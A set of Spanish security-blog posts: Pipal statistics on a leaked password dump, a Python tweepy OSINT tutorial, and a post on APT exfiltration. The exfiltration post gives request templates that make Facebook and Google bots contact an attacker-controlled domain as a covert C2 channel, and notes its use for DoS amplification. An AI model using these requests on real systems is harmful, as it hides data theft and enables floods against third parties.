One to six characters = 1130310 (22.94%)
One to eight characters = 3217859 (65.32'%)
More than eight characters = 1708484 (34.68%)

Only lowercase alpha = 1972788 (40.05%)
Only uppercase alpha = 0 (0.0%)
Only alpha = 1972788 (40.05%)
Only numeric = 775445 (15.74%)

First capital last symbol = 0 (0.0%)
First capital last number = 0 (0.0%)

Vemos que más del 65% de las contraseñas son de 8 o menos caracteres, alrededor del 40% están formadas únicamente por letras en minúscula, y más de un 15% sólo contienen dígitos. Todas estas prácticas rebajan la seguridad de las contraseñas y deberíamos tratar de evitarlas.

También vemos que no aparecen contraseñas que contengan únicamente mayúsculas o que empiecen con mayúsculas, lo que nos puede hacer sospechar de que realmente no existe ninguna contraseña que utilice mayúsculas, como veremos más adelante.

Acto seguido se muestran estadísticas de las contraseñas con números en su parte final.

Single digit on the end = 396589 (8.05%)
Two digits on the end = 561345 (11.39%)
Three digits on the end = 307392 (6.24%)

Last number
0 = 225978 (4.59%)
1 = 446157 (9.06%)
2 = 249229 (5.06%)
3 = 322395 (6.54%)
4 = 199645 (4.05%)
5 = 198905 (4.04%)
6 = 236076 (4.79%)
7 = 204986 (4.16%)
8 = 190806 (3.87%)
9 = 215301 (4.37%)

 |                                                                      
 |                                                                      
 |                                                                      
 |                                                                      
 | |                                                                    
 | |                                                                    
 | |                                                                    
||||  |                                                                 
|||||||| |                                                              
||||||||||                                                              
||||||||||                                                              
||||||||||                                                              
||||||||||                                                              
||||||||||                                                              
||||||||||                                                              
||||||||||                                                              
0123456789

Last digit
1 = 446157 (9.06%)
3 = 322395 (6.54%)
2 = 249229 (5.06%)
6 = 236076 (4.79%)
0 = 225978 (4.59%)
9 = 215301 (4.37%)
7 = 204986 (4.16%)
4 = 199645 (4.05%)
5 = 198905 (4.04%)
8 = 190806 (3.87%)

Last 2 digits (Top 10)
23 = 139781 (2.84%)
56 = 71742 (1.46%)
12 = 61841 (1.26%)
11 = 59786 (1.21%)
00 = 50068 (1.02%)
01 = 49657 (1.01%)
10 = 41260 (0.84%)
21 = 40985 (0.83%)
34 = 37776 (0.77%)
89 = 37686 (0.76%)

Last 3 digits (Top 10)
123 = 113837 (2.31%)
456 = 60162 (1.22%)
234 = 27651 (0.56%)
345 = 18836 (0.38%)
789 = 16930 (0.34%)
000 = 16916 (0.34%)
007 = 14584 (0.3%)
321 = 13666 (0.28%)
111 = 13478 (0.27%)
010 = 11371 (0.23%)

Last 4 digits (Top 10)
3456 = 55734 (1.13%)
1234 = 25782 (0.52%)
2345 = 17379 (0.35%)
6789 = 13343 (0.27%)
2010 = 8404 (0.17%)
1111 = 7681 (0.16%)
2009 = 7672 (0.16%)
2008 = 6442 (0.13%)
5678 = 6438 (0.13%)
1987 = 6207 (0.13%)

Last 5 digits (Top 10)
23456 = 55364 (1.12%)
12345 = 17006 (0.35%)
56789 = 12977 (0.26%)
45678 = 6056 (0.12%)
11111 = 5821 (0.12%)
54321 = 4407 (0.09%)
34567 = 4166 (0.08%)
23123 = 4064 (0.08%)
00000 = 3499 (0.07%)
67890 = 3089 (0.06%)

Muchos usuarios simplemente añaden algunos dígitos a “su contraseña” si se les obliga a utilizar números. Aquí vemos como muchos usuarios añaden un sólo dígito (siendo el más común el 1), o 2 o más dígitos, ya sea repetidos o formando series. Mención especial al apartado de 4 dígitos, donde podemos ver como aparecen varios números que podríamos identificar con años (2010, 2009, 2008, 1987).

Finalmente, aparecen estadísticas sobre el conjunto de caracteres utilizado y cómo se ordenan los caracteres dentro de la contraseña:

Character sets
loweralphanum: 2096099 (42.55%)
loweralpha: 1972788 (40.05%)
numeric: 775444 (15.74%)
loweralphaspecialnum: 39336 (0.8%)
loweralphaspecial: 25376 (0.52%)
specialnum: 4200 (0.09%)
special: 582 (0.01%)

Character set ordering
allstring: 1972788 (40.05%)
stringdigit: 1544506 (31.35%)
alldigit: 775444 (15.74%)
othermask: 233532 (4.74%)
stringdigitstring: 174893 (3.55%)
digitstring: 144649 (2.94%)
digitstringdigit: 42337 (0.86%)
stringspecialdigit: 15959 (0.32%)
stringspecialstring: 13657 (0.28%)
stringspecial: 4875 (0.1%)
specialstring: 2083 (0.04%)
specialstringspecial: 873 (0.02%)
allspecial: 582 (0.01%)

La tabla de conjuntos de caracteres nos muestra que no hay ninguna letra mayúscula en ninguna de las contraseñas que hemos obtenido, algo que ya habíamos intuido anteriormente. La tabla de ordenación, por su parte, nos muestra que más del 70% de las contraseñas están formadas únicamente por una cadena de texto o una cadena con un número detrás. Si añadimos a esto las contraseñas formadas únicamente por números, estamos hablando de alrededor del 87% de las contraseñas encontradas.

Por si este análisis no os parece suficiente, Pipal tiene dos funcionalidades de análisis más: los Splitters y los Checkers. Ambos son pequeños módulos que otorgan más funcionalidad a la aplicación.

En el caso de los Splitters, éstos dividen cada una de las líneas del fichero de entrada en campos, de forma que si tenemos por ejemplo nombre de usuario y contraseña, podemos indicarlo a la aplicación y puede ser de utilidad en fases posteriores de análisis.

Los Checkers en cambio realizan comprobaciones adicionales sobre el conjunto de contraseñas sirviendo, por ejemplo, para identificar campos de fecha (días, meses, años), como los grupos de 4 dígitos que forman años que hemos visto anteriormente. También hay otros para comprobar colores, estaciones del año, codigos postales, nombres de usuario, etcétera.

Se pueden listar los checkers disponibles con el modificador --list-checkers, y se habilitan al estilo módulos de apache2, creando un enlace simbólico desde la carpeta checkers-available a la carpeta checkers-enabled.

El único problema de los checkers es que la distribución oficial no tiene ninguno localizado en español. Para solucionar este problema David Lladró (@davidlladro), amigo y antiguo compañero, ha creado una versión de Pipal en la que sí aparecen varios checkers localizados en español.

Con esto concluye el análisis de esta herramienta y el último “leak” de contraseñas publicado. Espero que os haya gustado y vuestros comentarios sobre esta estupenda herramienta.

Python para el Pentest. OSINT: Twitter (3): Streaming, ríos de datos, y para merendar Tweets.

Repasemos lo visto hasta ahora. En la primera entrada de la serie vimos algunos conceptos básicos para comenzar a trabajar con Python desde el pentesting, que vamos a necesitar durante todo el camino. Tras la introducción, nuestro primer caso práctico ha sido la aplicación de Python para OSINT (“Open Source Intelligence”), en concreto Twitter. Hasta ahora hemos visto (1) los preliminares y (2) hemos desarrollado un pequeño PoC accediendo a la API RESTFull, que como vimos permitía una gran variedad de opciones pero no era lo mejor para obtener información en tiempo real.

Por eso, en esta entrada veremos la utilización de la API de streaming, un poco mas complejo que usar que REST, pero que con un sencillo ejemplo nos quedará claro como utilizar. Como en anteriores entradas, si les queda alguna duda, pueden dejárnosla en los comentarios y la atenderemos encantados.

Si volvemos a la función OAuth() recordaremos que nos devolvía una tupla, y esta la asignamos a dos variables, api y auth, para el siguiente ejemplo utilizaremos la segunda.

[Read more…]

Python para el Pentest. OSINT: Twitter (2): Manos a la obra, pájaros y APIs.

Si recuerdan, en la anterior entrada introdujimos los diferentes elementos que vamos a necesitar para desarrollar un pequeño PoC que nos permita explotar la información de Twitter. Una vez descritos los preliminares, ahora es cuando toca entrar en materia.

Lo primero que haremos será crear una aplicación nueva en Twitter, para ello podemos seguir cualquiera de los innumerables tutoriales que existen y hacernos con el consumer_token y el consumer_secret que serán algo así —estos son inventados, deberemos obtener los nuestros—:

consumer_token = K4a5Evw9bMnWhQDxb5tPBZPzjY
consumer_secret = j7CsoQtFiNArbITSYqYG5hw37NDF0lg1B7MBlBNRQ
RffVWWmug0

Estas claves las necesitaremos para hacer la danza OAuth y permitir a nuestra aplicación usar nuestra cuenta, ya que para acceder a ciertas funcionalidades de la API tendremos que estar logueados.

Ahora, antes de nada, prepararemos la cabecera de nuestro script con su Shebang, la codificación del documento y los imports que necesitaremos para el proyecto.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from time import sleep
from sys import exit
import tweepy
from json import loads

Después de haber definido la cabecera podremos empezar con el código. Para autorizar nuestra aplicación en nuestra cuenta lo haremos de la siguiente forma:

########## CONFIG ##########
consumer_token = 'K4a5Evw9bMnWhQDxb5tPBZPzjY'
consumer_secret = 'j7CsoQtFiNArbITSYqYG5hw37NDF0lg1B7MBlBNR
QRffVWWmug0'
access_token = ''
access_secret = ''
############################

def OAuth():
	''' Returns api object '''
	cToken = consumer_token
	cSecret = consumer_secret
	aToken = access_token
	aSecret = access_secret
	# Instanciamos el gestor de autorización
	auth = tweepy.OAuthHandler(cToken, cSecret)

	'''En el caso de que no tengamos los tokens de autorización de nuestra cuenta 
	solicitaremos la url que nos generará el pin.'''

		if aToken == '' or aSecret == '':
		try:
			redirect_url = auth.get_authorization_url()
			print('Ve a Twitter y autoriza la aplicación: {0}'.format(redirect_url))
		except tweepy.TweepError:
			print('Error al solicitar el token.')

		# Le pasamos el PIN a auth para que solicite los tokens
		verifier = raw_input('Verificador: ').strip()
		auth.get_access_token(verifier)

		'''Guardamos nuestros tokens y los imprimimos en pantalla para añadirlos a las 
		   variables de configuración. Así la próxima vez no tendremos que realizar 
                   este paso.'''

		aToken = auth.access_token.key
		aSecret = auth.access_token.secret
		log('Tu access_token: {0}'.format(aToken))
		log('Tu access_secret: {0}'.format(aSecret))

		# Setea auth token y secret
		auth.set_access_token(aToken, aSecret)

		# Devolvemos una tupla para usarla con la API REST y la API de Streaming
		return (tweepy.API(auth), auth)

Para obtener ahora acceso a los métodos de la API, lo único que tendremos que hacer es llamar a nuestra función y asignar la tupla a nuestras variables —para la API REST solo usaremos la variable api—:

api, auth = OAuth()

Ahora comprobamos que lo que hemos hecho funciona solicitando los trends globales mediante:

print(api.trends_place(1))

Si todo ha ido bien deberemos obtener un JSON que probablemente nos ofusque un poco la salida que esperábamos, así que, sabiendo que es un JSON, procedemos a tratarlo como si fuera un diccionario, y ya que estamos lo ordenamos y metemos en una función.

def getTrends(woeid=1):
''' Devuelve una lista de trends por localización, la localización es un WOEID de Yahoo, 
el ID para todo todo el mundo es 1.'''

'''Hacemos una llamada a la API y recuperamos directamente los elementos que nos interesan 
del diccionario.'''

	trends = api.trends_place(1)[0]['trends']
	
	# Extraemos el nombre de los trends y los devolvemos.
	trendList = [trend['name'] for trend in trends]
	return trendList

y la llamamos solicitando los trending topics de Valencia —el WOEID de Valencia es 776688—:

# Recuperamos los tt y los imprimimos uno por uno
trendingTopics = getTrends(woeid=776688)
for topic in trendingTopics:
print(topic)

Y de esta forma se harían las llamadas a la API, como dijimos al principio, RESTfull. Conforme se ahonda en las opciones de la API te das cuenta que está pensada para gestionar nuestra cuenta, obtener estados, información, recuperar elementos del pasado y casi todo lo que podamos imaginar, pero… para OSINT nos interesa obtener datos en tiempo real, ¿como lo podemos hacer? pues con la segunda forma de acceso, la API de Streaming.

Pero eso lo veremos en la próxima entrada de la serie. Dejadnos en los comentarios cualquier duda o aspecto que os resulte interesante destacar.

APT: bot exfiltration

Dentro del mundo de las amenazas avanzadas persistentes o APTs, juegan un papel muy importante las técnicas utilizadas por los artefactos malware, para comunicarse y exfiltrar información a través de los C2s (Command & Control). En este aspecto existen tantas formas como imaginación pueda aportar el atacante y como protocolos y servicios existan. Un pequeño ejemplo de los “trucos” para enmascarar el tráfico ilegítimo como información aparentemente normal son:

  • Peticiones HTTP a páginas aparentemente lícitas, las cuales han sido crackeadas, albergando código del C2.
  • Sobreutilización del protocolo DNS para exfiltrar y comunicarse con los atacantes.
  • Sobreutilización de Google Calendar.

La lista anterior puede ser tan larga casi como campañas APT han existido y existen. En este post me gustaría aportar una nueva forma de exfiltración en la cual el equipo infectado y el C2 en ningún momento intercambian información directamente, sino que lo hacen a través de la legión de bots que los grandes gigantes de Internet disponen. Estos son Google, Facebook o Twitter entre otros.

¿Para qué sirven o qué función tienen estos bots? En el caso de Facebook, esta compañía dispone de una serie de agentes utilizados para realizar una previsualización del contenido de un enlace cuando se postea un comentario en esta red social. De esta manera, es posible presentar al usuario de una forma más amigable el contenido Web enlazado. Así, cuando el enlace es recibido por Facebook éste “ordena” a sus bots que visiten dicha URL extrayendo información de la web asociada.

El lector ya se habrá dado cuenta que controlando la URL a la cual queremos que los bots se conecten, disponemos de una forma de remitir información a un dominio propiedad del atacante, redirigiendo la petición a través de Facebook. De esta manera, ya tenemos el primer canal de comunicación “Equipo infectado” -> “C2”. Esta petición pasará totalmente desapercibida para los posibles analistas de seguridad del organismo víctima, ya que realmente son peticiones realizadas contra la red social.

El primer impedimento encontrado para ejecutar la redirección fue que necesitaba tener una cuenta de Facebook válida y estar autenticado para poder postear. Revisando un poco más a fondo por la documentación del “Caralibro” encontré la solución para poder postear sin estar autenticado. Esa magia la aportó la sección de “Developers”. A continuación, os dejo la petición GET para controlar los bots de Facebook a vuestro antojo, visitando todo aquello que vosotros les remitáis.

https://www.facebook.com/plugins/comments.php
?api_key=113869198637480
&channel_url=http://static.ak.fbcdn.net/connect/xd_proxy.php?version=3#cb=f10df33f48&
origin=http://developers.facebook.com/f29957fd8&relation=parent.parent&transport=postmessage
&href=DOMINIO A VISITAR
&locale=en_US
&numposts=2
&sdk=joey
&width=500

Un avispado ya se habrá dado cuenta que esto no sólo puede ser utilizado para exfiltrar información sino para por ejemplo realizar ataques de DoS encubiertos o aumentar contadores de visitas. Como ejemplo, os dejo el log de mi apache, tras decirle a Facebook que visite mi web.

66.220.152.118 - - [30/Oct/2014:11:44:23 +0100] "GET /kaka333333339 HTTP/1.1" 404 508 "-" 
   "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:16 +0100] "GET / HTTP/1.1" 206 3008 "-"
   "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/btn_3.jpg HTTP/1.1" 206 1227 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
       (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.118 - - [30/Oct/2014:11:45:17 +0100] "GET /images/lines-09.jpg HTTP/1.1" 206 654 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/spotlight.jpg HTTP/1.1" 206 2582 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/btn_4.jpg HTTP/1.1" 206 1356 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.118 - - [30/Oct/2014:11:45:17 +0100] "GET /images/welcome-18.jpg HTTP/1.1" 206 8889 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1      
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/welcome.jpg HTTP/1.1" 206 3987 
   "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.112 - - [30/Oct/2014:11:45:17 +0100] "GET /images/lines-11.jpg HTTP/1.1" 206 654 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.117 - - [30/Oct/2014:11:45:17 +0100] "GET /images/services.jpg HTTP/1.1" 206 2794 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
      (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.118 - - [30/Oct/2014:11:44:23 +0100] "GET /kaka333333339 HTTP/1.1" 404 508 "-" 
    "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:16 +0100] "GET / HTTP/1.1" 206 3008 "-" 
   "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.116 - - [30/Oct/2014:11:45:17 +0100] "GET /images/btn_3.jpg HTTP/1.1" 206 1227 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
       (+http://www.facebook.com/externalhit_uatext.php)"
66.220.152.118 - - [30/Oct/2014:11:45:17 +0100] "GET /images/lines-09.jpg HTTP/1.1" 206 654 
    "http://miserver.no-ip.org/" "facebookexternalhit/1.1 
       (+http://www.facebook.com/externalhit_uatext.php)"

La verdad es que se puede conseguir una buena amplificación, ya que una sola petición a Facebook generó 43 GETs de 10 bots distintos a la web destino. Pero no quiero desviarme del tema, que estamos a APTs.

Ahora que tenemos la forma de exfiltrar necesitamos poder remitir comandos de control a los equipos infectados en la organización víctima. Para esta parte nos van a ayudar los bots de Google, los cuales también podemos controlar para que no sólo visiten lo que nosotros queramos sino que además le remitan por nosotros a los equipos infectados las ordenes a realizar.

Normalmente cuando un C2 quiere ejecutar un comando en la víctima la comunicación no se hace en el sentido C2 -> “equipo infectado” sino al revés, siendo el portador del malware el que inicia comunicación.

Pues bien, Google dispone de una url por la que, dado un dominio, ésta te devuelve el favicon del mismo, lo que resulta perfecto para remitir en el mismo las órdenes a ejecutar en el equipo infectado.

http://www.google.com/s2/favicons?domain=DOMINIO-A-VISITAR

Una vez ejecutada, podemos ver en el log del C2 la siguiente petición realizada por el bot:

66.249.93.181 - - [31/Oct/2014:13:36:22 +0100] "GET / HTTP/1.1" 200 2961 "-" 
   "Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0 Google favicon"
66.249.93.178 - - [31/Oct/2014:13:36:23 +0100] "GET /favicon.ico HTTP/1.1" 200 1703 "-" 
   "Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0 Google favicon"

En este favicon podemos, por ejemplo con técnicas estenográficas, incluir la información de control remitida al equipo infectado. Así pues, tenemos establecida una comunicación bidireccional con los C2 sin establecer en ningún momento un canal directo entre equipos infectados y equipos de mando y control, perfecto para pasar desapercibidos.

Pelis para adictos a la ciberseguridad #peliseguridad

Tras la buena acogida que tuvo la propuesta desde @securityartwork de elaborar un listado de novelas para adictos a la ciberseguridad a través del hashtag #novelaseguridad -que podéis consultar aquí– ,decidimos poner en marcha otra nueva iniciativa, recopilar un buen listado de películas sobre dicha temática. Para ello, os invitamos a tuitear vuestras recomendaciones con el hashtag #peliseguridad y este es el resultado inicial: